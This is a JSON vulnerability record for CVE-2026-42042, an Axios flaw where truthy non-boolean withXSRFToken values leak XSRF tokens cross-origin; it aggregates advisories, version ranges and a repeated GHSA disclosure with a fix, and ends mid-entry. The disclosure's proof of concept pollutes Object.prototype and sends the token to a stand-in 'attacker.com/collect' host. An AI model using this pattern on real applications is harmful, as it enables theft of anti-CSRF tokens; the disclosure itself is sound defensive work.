{"id":"CVE-2026-42042","aliases":["CLSA-2026-1782521951","CLSA-2026-1782781178","CLSA-2026-1782867613","CLSA-2026-1783040460","CLSA-2026-1783299714","CLSA-2026-1784769505","CLSA-2026-1784769531","CLSA-2026-1784856205","CLSA-2026-1790764333","CLSA-2026-1793101849","CLSA-2026-1793110604","CLSA-2026-1793874599","DEBIAN-CVE-2026-42042","EUVD-2026-25607","GHSA-xx6v-rp6x-q39c","UBUNTU-CVE-2026-42042"],"status":"published","title":"Axios: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in `withXSRFToken` Boolean Coercion","description":"Axios is a promise based HTTP client for the browser and Node.js. Prior to 1.15.1 and 0.31.1, the Axios library's XSRF token protection logic uses JavaScript truthy/falsy semantics instead of strict boolean comparison for the withXSRFToken config property. When this property is set to any truthy non-boolean value (via prototype pollution or misconfiguration), the same-origin check (isURLSameOrigin) is short-circuited, causing XSRF tokens to be sent to all request targets including cross-origin servers controlled by an attacker. This vulnerability is fixed in 1.15.1 and 0.31.1.","severity":{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.0021,"percentile":0.11264,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-183","CWE-201"],"published":"2026-04-24T18:03:29Z","modified":"2026-11-12T10:00:53Z","fixes":[{"ecosystem":"npm","package":"axios","fixed_in":["1.15.1","0.31.1"],"sources":["ghsa","osv"]},{"ecosystem":"Debian:14","package":"node-axios","fixed_in":["1.15.2-1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.0.0"},{"fixed":"1.15.1"}]}]},{"source":"ghsa","ecosystem":"npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"0.31.0"},{"fixed":"0.31.1"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.19.2-tuxcare.0"},{"fixed":"0.19.2-tuxcare.1"}]}],"versions":["0.19.2"],"bundled":17},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.21.1-tuxcare.0"},{"fixed":"0.21.1-tuxcare.1"}]}],"versions":["0.21.1"],"bundled":16},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.21.4-tuxcare.0"},{"fixed":"0.21.4-tuxcare.1"}]}],"versions":["0.21.4"],"bundled":15},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.24.0-tuxcare.0"},{"fixed":"0.24.0-tuxcare.1"}]}],"versions":["0.24.0"],"bundled":15},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.26.1-tuxcare.0"},{"fixed":"0.26.1-tuxcare.1"}]}],"versions":["0.26.1"],"bundled":15},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.7.7-tuxcare.0"},{"fixed":"1.7.7-tuxcare.3"}]}],"versions":["1.7.7","1.7.7-tuxcare.1","1.7.7-tuxcare.2"],"bundled":18},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.7.5-tuxcare.0"},{"fixed":"1.7.5-tuxcare.2"}]}],"versions":["1.7.5","1.7.5-tuxcare.1"],"bundled":18},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.7.9-tuxcare.0"},{"fixed":"1.7.9-tuxcare.1"}]}],"versions":["1.7.9"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.13.5-tuxcare.0"},{"fixed":"1.13.5-tuxcare.1"}]}],"versions":["1.13.5"],"bundled":28},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.13.2-tuxcare.0"},{"fixed":"1.13.2-tuxcare.2"}]}],"versions":["1.13.2","1.13.2-tuxcare.1"],"bundled":32},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.12.2-tuxcare.0"},{"fixed":"1.12.2-tuxcare.1"}]}],"versions":["1.12.2"],"bundled":32},{"source":"osv","ecosystem":"TuxCare:npm","package":"axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.13.6-tuxcare.0"},{"fixed":"1.13.6-tuxcare.3"}]}],"versions":["1.13.6","1.13.6-tuxcare.1","1.13.6-tuxcare.2"],"bundled":27},{"source":"osv","ecosystem":"Debian:12","package":"node-axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.11.0+dfsg-1","1.12.1+dfsg-1","1.13.1+dfsg-1","1.13.2+dfsg-1","1.14.0+dfsg-1","1.15.0-1","1.15.2-1","1.16.0-1","1.18.0-1","1.19.0-1","1.2.1+dfsg-1","1.2.1+dfsg-1+deb12u1","1.20.0-1","1.21.0-1","1.5.1+dfsg-1","1.6.2+dfsg-1","1.6.8+dfsg-1","1.6.8+dfsg-2","1.7.3+dfsg-1","1.7.4+dfsg-1","1.7.7+dfsg-1","1.7.9+dfsg-1","1.8.4+dfsg-1"]},{"source":"osv","ecosystem":"Debian:13","package":"node-axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.11.0+dfsg-1","1.12.1+dfsg-1","1.13.1+dfsg-1","1.13.2+dfsg-1","1.14.0+dfsg-1","1.15.0-1","1.15.2-1","1.16.0-1","1.18.0-1","1.19.0-1","1.20.0-1","1.21.0-1","1.8.4+dfsg-1"]},{"source":"osv","ecosystem":"Debian:14","package":"node-axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.15.2-1"}]}],"versions":["1.11.0+dfsg-1","1.12.1+dfsg-1","1.13.1+dfsg-1","1.13.2+dfsg-1","1.14.0+dfsg-1","1.15.0-1","1.8.4+dfsg-1"]},{"source":"osv","ecosystem":"npm","package":"axios","ranges":[{"type":"SEMVER","events":[{"introduced":"1.0.0"},{"fixed":"1.15.1"}]}]},{"source":"osv","ecosystem":"npm","package":"axios","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.31.1"}]}]},{"source":"osv","ecosystem":"Ubuntu:Pro:20.04:LTS","package":"node-axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.19.0+dfsg-2","0.19.0+dfsg-2ubuntu0.1~esm1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:22.04:LTS","package":"node-axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.21.1+dfsg-1","0.23.0+dfsg-2","0.24.0+dfsg-1","0.25.0+dfsg-2","0.26.0+dfsg-1","0.26.0+dfsg-1ubuntu0.1~esm1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:24.04:LTS","package":"node-axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.2.1+dfsg-1","1.5.1+dfsg-1","1.6.2+dfsg-1","1.6.8+dfsg-2","1.6.8+dfsg-2ubuntu0.1~esm1"]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"node-axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.7.9+dfsg-1","1.8.4+dfsg-1","1.11.0+dfsg-1"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"node-axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.13.2+dfsg-1build1","1.16.0-1","1.18.0-1","1.19.0-1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:26.04:LTS","package":"node-axios","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.11.0+dfsg-1","1.12.1+dfsg-1","1.13.2+dfsg-1build1","1.13.2+dfsg-1ubuntu0.1~esm1"]}],"products":[{"vendor":"axios","product":"axios"}],"references":[{"url":"https://github.com/axios/axios/security/advisories/GHSA-xx6v-rp6x-q39c","tags":["x_refsource_CONFIRM","exploit","Exploit","Mitigation","Vendor Advisory","advisory","web","report"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42042","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-xx6v-rp6x-q39c"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/42xxx/CVE-2026-42042.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-42042","tags":["advisory"]},{"url":"https://github.com/axios/axios","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2026-42042","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-42042","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2026-42042","title":"Axios: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in `withXSRFToken` Boolean Coercion","description":"Axios is a promise based HTTP client for the browser and Node.js. Prior to 1.15.1 and 0.31.1, the Axios library's XSRF token protection logic uses JavaScript truthy/falsy semantics instead of strict boolean comparison for the withXSRFToken config property. When this property is set to any truthy non-boolean value (via prototype pollution or misconfiguration), the same-origin check (isURLSameOrigin) is short-circuited, causing XSRF tokens to be sent to all request targets including cross-origin servers controlled by an attacker. This vulnerability is fixed in 1.15.1 and 0.31.1.","status":"published","published":"2026-04-24T18:03:29.924Z","modified":"2026-04-27T17:35:41.883Z","cvss":[{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-183","CWE-201"],"updated_at":"2026-11-02T13:40:35.004553Z"}],"euvd":[{"id":"EUVD-2026-25607","description":"Axios is a promise based HTTP client for the browser and Node.js. Prior to 1.15.1 and 0.31.1, the Axios library's XSRF token protection logic uses JavaScript truthy/falsy semantics instead of strict boolean comparison for the withXSRFToken config property. When this property is set to any truthy non-boolean value (via prototype pollution or misconfiguration), the same-origin check (isURLSameOrigin) is short-circuited, causing XSRF tokens to be sent to all request targets including cross-origin servers controlled by an attacker. This vulnerability is fixed in 1.15.1 and 0.31.1.","status":"published","published":"2026-04-24T18:03:29Z","modified":"2026-04-27T17:35:41Z","cvss":[{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T19:24:17.432529Z"}],"ghsa":[{"id":"GHSA-xx6v-rp6x-q39c","title":"Axios: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in `withXSRFToken` Boolean Coercion","description":"# Vulnerability Disclosure: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in `withXSRFToken` Boolean Coercion\n\n## Summary\n\nThe Axios library's XSRF token protection logic uses JavaScript truthy/falsy semantics instead of strict boolean comparison for the `withXSRFToken` config property. When this property is set to any truthy non-boolean value (via prototype pollution or misconfiguration), the same-origin check (`isURLSameOrigin`) is **short-circuited**, causing XSRF tokens to be sent to **all** request targets including cross-origin servers controlled by an attacker.\n\n**Severity:** Medium (CVSS 5.4)\n**Affected Versions:** All versions since `withXSRFToken` was introduced\n**Vulnerable Component:** `lib/helpers/resolveConfig.js:59`\n**Environment:** Browser-only (XSRF logic only runs when `hasStandardBrowserEnv` is true)\n\n## CWE\n\n- **CWE-201:** Insertion of Sensitive Information Into Sent Data\n- **CWE-183:** Permissive List of Allowed Inputs\n\n## CVSS 3.1\n\n**Score: 5.4 (Medium)**\n\nVector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N`\n\n| Metric | Value | Justification |\n|---|---|---|\n| Attack Vector | Network | PP triggered remotely via vulnerable dependency |\n| Attack Complexity | Low | Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx |\n| Privileges Required | None | No authentication needed |\n| User Interaction | Required | Victim must use browser with axios making cross-origin requests |\n| Scope | Unchanged | Token leakage within browser context |\n| Confidentiality | Low | XSRF token leaked — anti-CSRF token, not session token |\n| Integrity | Low | Stolen XSRF token enables CSRF attacks (bypass CSRF protection only) |\n| Availability | None | No availability impact |\n\n## Usage of \"Helper\" Vulnerabilities\n\nThis vulnerability requires **Zero Direct User Input** when triggered via prototype pollution.\n\nIf an attacker can pollute `Object.prototype.withXSRFToken` with any truthy value (e.g., `1`, `\"true\"`, `{}`), Axios will automatically inherit this value during config merge. The truthy value short-circuits the same-origin check, causing the XSRF cookie value to be sent as a request header to every destination.\n\n## Vulnerable Code\n\n**File:** `lib/helpers/resolveConfig.js`, lines 57-66\n\n```javascript\n// Line 57: Function check — only applies if withXSRFToken is a function\nwithXSRFToken \u0026\u0026 utils.isFunction(withXSRFToken) \u0026\u0026 (withXSRFToken = withXSRFToken(newConfig));\n\n// Line 59: The vulnerable condition\nif (withXSRFToken || (withXSRFToken !== false \u0026\u0026 isURLSameOrigin(newConfig.url))) {\n//  ^^^^^^^^^^^^^^^^\n//  When withXSRFToken = 1 (truthy non-boolean): this is true → short-circuits\n//  isURLSameOrigin() is NEVER called → token sent to ANY origin\n  const xsrfValue = xsrfHeaderName \u0026\u0026 xsrfCookieName \u0026\u0026 cookies.read(xsrfCookieName);\n  if (xsrfValue) {\n    headers.set(xsrfHeaderName, xsrfValue);\n  }\n}\n```\n\n**Designed behavior:**\n- `true` → always send token (explicit cross-origin opt-in)\n- `false` → never send token\n- `undefined` → send only for same-origin requests\n\n**Actual behavior for non-boolean truthy values (`1`, `\"false\"`, `{}`, `[]`):**\n- All treated as truthy → same-origin check skipped → token sent everywhere\n\n## Proof of Concept\n\n```javascript\n// Simulated prototype pollution from any vulnerable dependency\nObject.prototype.withXSRFToken = 1;\n\n// In browser with document.cookie = \"XSRF-TOKEN=secret-csrf-token-abc123\"\n// Every axios request now includes: X-XSRF-TOKEN: secret-csrf-token-abc123\n// Even to cross-origin hosts:\nawait axios.get('https://attacker.com/collect');\n// → attacker receives the XSRF token in request headers\n```\n\n## Verified PoC Output\n\n```\nwithXSRFToken Value        Sends Token Cross-Origin  Expected\ntrue (boolean)             YES                       Yes (opt-in)\nfalse (boolean)            No                        No\nundefined (default)        No                        No\n1 (number)                 YES ← BUG                No\n\"false\" (string)           YES ← BUG                No\n{} (object)                YES ← BUG                No\n[] (array)                 YES ← BUG                No\n\nPrototype pollution:\n  Object.prototype.withXSRFToken = 1\n  config.withXSRFToken = 1 → leaks=true\n  isURLSameOrigin() was NOT called (short-circuited)\n```\n\n## Impact Analysis\n\n- **XSRF Token Theft:** Anti-CSRF token sent as header to attacker-controlled server, enabling CSRF attacks against the victim application\n- **Universal Scope:** A single `Object.prototype.withXSRFToken = 1` affects every axios request in the application\n- **Misconfiguration Risk:** Developer writing `withXSRFToken: \"false\"` (string) instead of `false` (boolean) triggers the same issue without PP\n\n**Limitations:**\n- Browser-only (XSRF logic runs only in `hasStandardBrowserEnv`)\n- XSRF tokens are anti-CSRF tokens, not session tokens — leakage enables CSRF but not direct session hijacking\n- Attacker still needs a way to deliver the forged request after obtaining the token\n\n## Recommended Fix\n\nUse strict boolean comparison:\n\n```javascript\n// FIXED: lib/helpers/resolveConfig.js\nconst shouldSendXSRF = withXSRFToken === true ||\n  (withXSRFToken == null \u0026\u0026 isURLSameOrigin(newConfig.url));\n\nif (shouldSendXSRF) {\n  const xsrfValue = xsrfHeaderName \u0026\u0026 xsrfCookieName \u0026\u0026 cookies.read(xsrfCookieName);\n  if (xsrfValue) {\n    headers.set(xsrfHeaderName, xsrfValue);\n  }\n}\n```\n\n## Resources\n\n- [CWE-201: Insertion of Sensitive Information Into Sent Data](https://cwe.mitre.org/data/definitions/201.html)\n- [CWE-183: Permissive List of Allowed Inputs](https://cwe.mitre.org/data/definitions/183.html)\n- [GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios](https://github.com/advisories/GHSA-fvcv-3m26-pcqx)\n- [Axios GitHub Repository](https://github.com/axios/axios)\n\n## Timeline\n\n| Date | Event |\n|---|---|\n| 2026-04-15 | Vulnerability discovered during source code audit |\n| 2026-04-16 | Report revised: corrected CVSS, documented limitations |\n| TBD | Report submitted to vendor via GitHub Security Advisory |","status":"published","published":"2026-05-05T00:25:22Z","modified":"2026-05-05T00:25:23Z","cvss":[{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-183","CWE-201"],"updated_at":"2026-11-02T14:40:00.970271Z"}],"nvd":[{"id":"CVE-2026-42042","description":"Axios is a promise based HTTP client for the browser and Node.js. Prior to 1.15.1 and 0.31.1, the Axios library's XSRF token protection logic uses JavaScript truthy/falsy semantics instead of strict boolean comparison for the withXSRFToken config property. When this property is set to any truthy non-boolean value (via prototype pollution or misconfiguration), the same-origin check (isURLSameOrigin) is short-circuited, causing XSRF tokens to be sent to all request targets including cross-origin servers controlled by an attacker. This vulnerability is fixed in 1.15.1 and 0.31.1.","status":"published","published":"2026-04-24T18:16:31.293Z","modified":"2026-11-11T23:10:00.263Z","cvss":[{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-183","CWE-201"],"updated_at":"2026-11-12T01:26:59.157514Z"}],"osv":[{"id":"CVE-2026-42042","title":"Axios: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in `withXSRFToken` Boolean Coercion","description":"Axios is a promise based HTTP client for the browser and Node.js. Prior to 1.15.1 and 0.31.1, the Axios library's XSRF token protection logic uses JavaScript truthy/falsy semantics instead of strict boolean comparison for the withXSRFToken config property. When this property is set to any truthy non-boolean value (via prototype pollution or misconfiguration), the same-origin check (isURLSameOrigin) is short-circuited, causing XSRF tokens to be sent to all request targets including cross-origin servers controlled by an attacker. This vulnerability is fixed in 1.15.1 and 0.31.1.","status":"published","published":"2026-04-24T18:03:29.924Z","modified":"2026-10-28T02:30:50.738549132Z","cvss":[{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-183","CWE-201"],"updated_at":"2026-11-02T15:45:03.764807Z"},{"id":"DEBIAN-CVE-2026-42042","description":"Axios is a promise based HTTP client for the browser and Node.js. Prior to 1.15.1 and 0.31.1, the Axios library's XSRF token protection logic uses JavaScript truthy/falsy semantics instead of strict boolean comparison for the withXSRFToken config property. When this property is set to any truthy non-boolean value (via prototype pollution or misconfiguration), the same-origin check (isURLSameOrigin) is short-circuited, causing XSRF tokens to be sent to all request targets including cross-origin servers controlled by an attacker. This vulnerability is fixed in 1.15.1 and 0.31.1.","status":"published","published":"2026-04-24T18:16:31.293Z","modified":"2026-11-12T10:00:53.715174414Z","cvss":[{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-12T10:16:18.390123Z"},{"id":"GHSA-xx6v-rp6x-q39c","title":"Axios: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in `withXSRFToken` Boolean Coercion","description":"# Vulnerability Disclosure: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in `withXSRFToken` Boolean Coercion\n\n## Summary\n\nThe Axios library's XSRF token protection logic uses JavaScript truthy/falsy semantics instead of strict boolean comparison for the `withXSRFToken` config property. When this property is set to any truthy non-boolean value (via prototype pollution or misconfiguration), the same-origin check (`isURLSameOrigin`) is **short-circuited**, causing XSRF tokens to be sent to **all** request targets including cross-origin servers controlled by an attacker.\n\n**Severity:** Medium (CVSS 5.4)\n**Affected Versions:** All versions since `withXSRFToken` was introduced\n**Vulnerable Component:** `lib/helpers/resolveConfig.js:59`\n**Environment:** Browser-only (XSRF logic only runs when `hasStandardBrowserEnv` is true)\n\n## CWE\n\n- **CWE-201:** Insertion of Sensitive Information Into Sent Data\n- **CWE-183:** Permissive List of Allowed Inputs\n\n## CVSS 3.1\n\n**Score: 5.4 (Medium)**\n\nVector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N`\n\n| Metric | Value | Justification |\n|---|---|---|\n| Attack Vector | Network | PP triggered remotely via vulnerable dependency |\n| Attack Complexity | Low | Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx |\n| Privileges Required | None | No authentication needed |\n| User Interaction | Required | Victim must use browser with axios making cross-origin requests |\n| Scope | Unchanged | Token leakage within browser context |\n| Confidentiality | Low | XSRF token leaked — anti-CSRF token, not session token |\n| Integrity | Low | Stolen XSRF token enables CSRF attacks (bypass CSRF protection only) |\n| Availability | None | No availability impact |\n\n## Usage of \"Helper\" Vulnerabilities\n\nThis vulnerability requires **Zero Direct User Input** when triggered via prototype pollution.\n\nIf an attacker can pollute `Object.prototype.withXSRFToken` with any truthy value (e.g., `1`, `\"true\"`, `{}`), Axios will automatically inherit this value during config merge. The truthy value short-circuits the same-origin check, causing the XSRF cookie value to be sent as a request header to every destination.\n\n## Vulnerable Code\n\n**File:** `lib/helpers/resolveConfig.js`, lines 57-66\n\n```javascript\n// Line 57: Function check — only applies if withXSRFToken is a function\nwithXSRFToken \u0026\u0026 utils.isFunction(withXSRFToken) \u0026\u0026 (withXSRFToken = withXSRFToken(newConfig));\n\n// Line 59: The vulnerable condition\nif (withXSRFToken || (withXSRFToken !== false \u0026\u0026 isURLSameOrigin(newConfig.url))) {\n//  ^^^^^^^^^^^^^^^^\n//  When withXSRFToken = 1 (truthy non-boolean): this is true → short-circuits\n//  isURLSameOrigin() is NEVER called → token sent to ANY origin\n  const xsrfValue = xsrfHeaderName \u0026\u0026 xsrfCookieName \u0026\u0026 cookies.read(xsrfCookieName);\n  if (xsrfValue) {\n    headers.set(xsrfHeaderName, xsrfValue);\n  }\n}\n```\n\n**Designed behavior:**\n- `true` → always send token (explicit cross-origin opt-in)\n- `false` → never send token\n- `undefined` → send only for same-origin requests\n\n**Actual behavior for non-boolean truthy values (`1`, `\"false\"`, `{}`, `[]`):**\n- All treated as truthy → same-origin check skipped → token sent everywhere\n\n## Proof of Concept\n\n```javascript\n// Simulated prototype pollution from any vulnerable dependency\nObject.prototype.withXSRFToken = 1;\n\n// In browser with document.cookie = \"XSRF-TOKEN=secret-csrf-token-abc123\"\n// Every axios request now includes: X-XSRF-TOKEN: secret-csrf-token-abc123\n// Even to cross-origin hosts:\nawait axios.get('https://attacker.com/collect');\n// → attacker receives the XSRF token in request headers\n```\n\n## Verified PoC Output\n\n```\nwithXSRFToken Value        Sends Token Cross-Origin  Expected\ntrue (boolean)             YES                       Yes (opt-in)\nfalse (boolean)            No                        No\nundefined (default)        No                        No\n1 (number)                 YES ← BUG                No\n\"false\" (string)           YES ← BUG                No\n{} (object)                YES ← BUG                No\n[] (array)                 YES ← BUG                No\n\nPrototype pollution:\n  Object.prototype.withXSRFToken = 1\n  config.withXSRFToken = 1 → leaks=true\n  isURLSameOrigin() was NOT called (short-circuited)\n```\n\n## Impact Analysis\n\n- **XSRF Token Theft:** Anti-CSRF token sent as header to attacker-controlled server, enabling CSRF attacks against the victim application\n- **Universal Scope:** A single `Object.prototype.withXSRFToken = 1` affects every axios request in the application\n- **Misconfiguration Risk:** Developer writing `withXSRFToken: \"false\"` (string) instead of `false` (boolean) triggers the same issue without PP\n\n**Limitations:**\n- Browser-only (XSRF logic runs only in `hasStandardBrowserEnv`)\n- XSRF tokens are anti-CSRF tokens, not session tokens — leakage enables CSRF but not direct session hijacking\n- Attacker still needs a way to deliver the forged request after obtaining the token\n\n## Recommended Fix\n\nUse strict boolean comparison:\n\n```javascript\n// FIXED: lib/helpers/resolveConfig.js\nconst shouldSendXSRF = withXSRFToken === true ||\n  (withXSRFToken == null \u0026\u0026 isURLSameOrigin(newConfig.url));\n\nif (shouldSendXSRF) {\n  const xsrfValue = xsrfHeaderName \u0026\u0026 xsrfCookieName \u0026\u0026 cookies.read(xsrfCookieName);\n  if (xsrfValue) {\n    headers.set(xsrfHeaderName, xsrfValue);\n  }\n}\n```\n\n## Resources\n\n- [CWE-201: Insertion of Sensitive Information Into Sent Data](https://cwe.mitre.org/data/definitions/201.html)\n- [CWE-183: Permissive List of Allowed Inputs](https://cwe.mitre.org/data/definitions/183.html)\n- [GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios](https://github.com/advisories/GHSA-fvcv-3m26-pcqx)\n- [Axios GitHub Repository](https://github.com/axios/axios)\n\n## Timeline\n\n| Date | Event |\n|---|---|\n| 2026-04-15 | Vulnerability discovered during source code audit |\n| 2026-04-16 | Report revised: corrected CVSS, documented limitations |\n| TBD | Report submitted to vendor via GitHub Security Advisory |","status":"published","published":"2026-05-05T00:25:22Z","modified":"2026-09-10T03:51:07.425895085Z","cvss":[{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-183","CWE-201"],"updated_at":"2026-11-02T15:47:00.604718Z"},{"id":"UBUNTU-CVE-2026-42042","description":"Axios is a promise based HTTP client for the browser and Node.js. Prior to 1.15.1 and 0.31.1, the Axios library's XSRF token protection logic uses JavaScript truthy/falsy semantics instead of strict boolean comparison for the withXSRFToken config property. When this property is set to any truthy non-boolean value (via prototype pollution or misconfiguration), the same-origin check (isURLSameOrigin) is short-circuited, causing XSRF tokens to be sent to all request targets including cross-origin servers controlled by an attacker. This vulnerability is fixed in 1.15.1 and 0.31.1.","status":"published","published":"2026-04-24T18:16:00Z","modified":"2026-10-17T13:00:04.730805547Z","cvss":[{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T16:56:18.393417Z"},{"id":"CLSA-2026-1782521951","title":"TuxCare security update for axios (17 CVEs)","description":"TuxCare rebuilt axios to address 17 CVEs. Fixed in 0.19.2-tuxcare.1.","status":"published","published":"2026-08-04T14:52:39Z","modified":"2026-10-15T09:47:51.501643897Z","updated_at":"2026-11-02T15:43:45.794021Z"},{"id":"CLSA-2026-1782781178","title":"TuxCare security update for axios (16 CVEs)","description":"TuxCare rebuilt axios to address 16 CVEs. Fixed in 0.21.1-tuxcare.1.","status":"published","published":"2026-08-04T14:52:40Z","modified":"2026-10-15T13:57:56.893232091Z","updated_at":"2026-11-02T15:43:45.794021Z"},{"id":"CLSA-2026-1782867613","title":"TuxCare security update for axios (15 CVEs)","description":"TuxCare rebuilt axios to address 15 CVEs. Fixed in 0.21.4-tuxcare.1.","status":"published","published":"2026-08-04T14:52:40Z","modified":"2026-10-15T09:47:51.552498386Z","updated_at":"2026-11-02T15:43:45.794021Z"},{"id":"CLSA-2026-1783040460","title":"TuxCare security update for axios (15 CVEs)","description":"TuxCare rebuilt axios to address 15 CVEs. Fixed in 0.24.0-tuxcare.1.","status":"published","published":"2026-08-04T14:52:41Z","modified":"2026-10-15T13:57:55.491180345Z","updated_at":"2026-11-02T15:43:45.794021Z"},{"id":"CLSA-2026-1783299714","title":"TuxCare security update for axios (15 CVEs)","description":"TuxCare rebuilt axios to address 15 CVEs. Fixed in 0.26.1-tuxcare.1.","status":"published","published":"2026-08-04T14:52:42Z","modified":"2026-10-15T09:48:03.671467748Z","updated_at":"2026-11-02T15:43:45.794021Z"},{"id":"CLSA-2026-1784769505","title":"TuxCare security update for axios (18 CVEs)","description":"TuxCare rebuilt axios to address 18 CVEs. Fixed in 1.7.7-tuxcare.3.","status":"published","published":"2026-08-04T14:52:47Z","modified":"2026-10-15T09:47:54.377144369Z","updated_at":"2026-11-02T15:43:46.482572Z"},{"id":"CLSA-2026-1784769531","title":"TuxCare security update for axios (18 CVEs)","description":"TuxCare rebuilt axios to address 18 CVEs. Fixed in 1.7.5-tuxcare.2.","status":"published","published":"2026-08-04T14:52:47Z","modified":"2026-10-15T09:47:36.840967341Z","updated_at":"2026-11-02T15:43:46.482572Z"},{"id":"CLSA-2026-1784856205","title":"TuxCare security update for axios (21 CVEs)","description":"TuxCare rebuilt axios to address 21 CVEs. Fixed in 1.7.9-tuxcare.1.","status":"published","published":"2026-08-04T14:52:48Z","modified":"2026-10-15T09:47:55.013314732Z","updated_at":"2026-11-02T15:43:46.482572Z"},{"id":"CLSA-2026-1790764333","title":"TuxCare security update for axios (28 CVEs)","description":"TuxCare rebuilt axios to address 28 CVEs. Fixed in 1.13.5-tuxcare.1.","status":"published","published":"2026-09-30T10:32:13Z","modified":"2026-10-15T09:47:53.491657971Z","updated_at":"2026-11-02T15:43:48.65893Z"},{"id":"CLSA-2026-1793101849","title":"TuxCare security update for axios (32 CVEs)","description":"TuxCare rebuilt axios to address 32 CVEs. Fixed in 1.13.2-tuxcare.2.","status":"published","published":"2026-10-27T11:50:49Z","modified":"2026-10-27T13:30:17.542584318Z","updated_at":"2026-11-02T15:43:55.34846Z"},{"id":"CLSA-2026-1793110604","title":"TuxCare security update for axios (32 CVEs)","description":"TuxCare rebuilt axios to address 32 CVEs. Fixed in 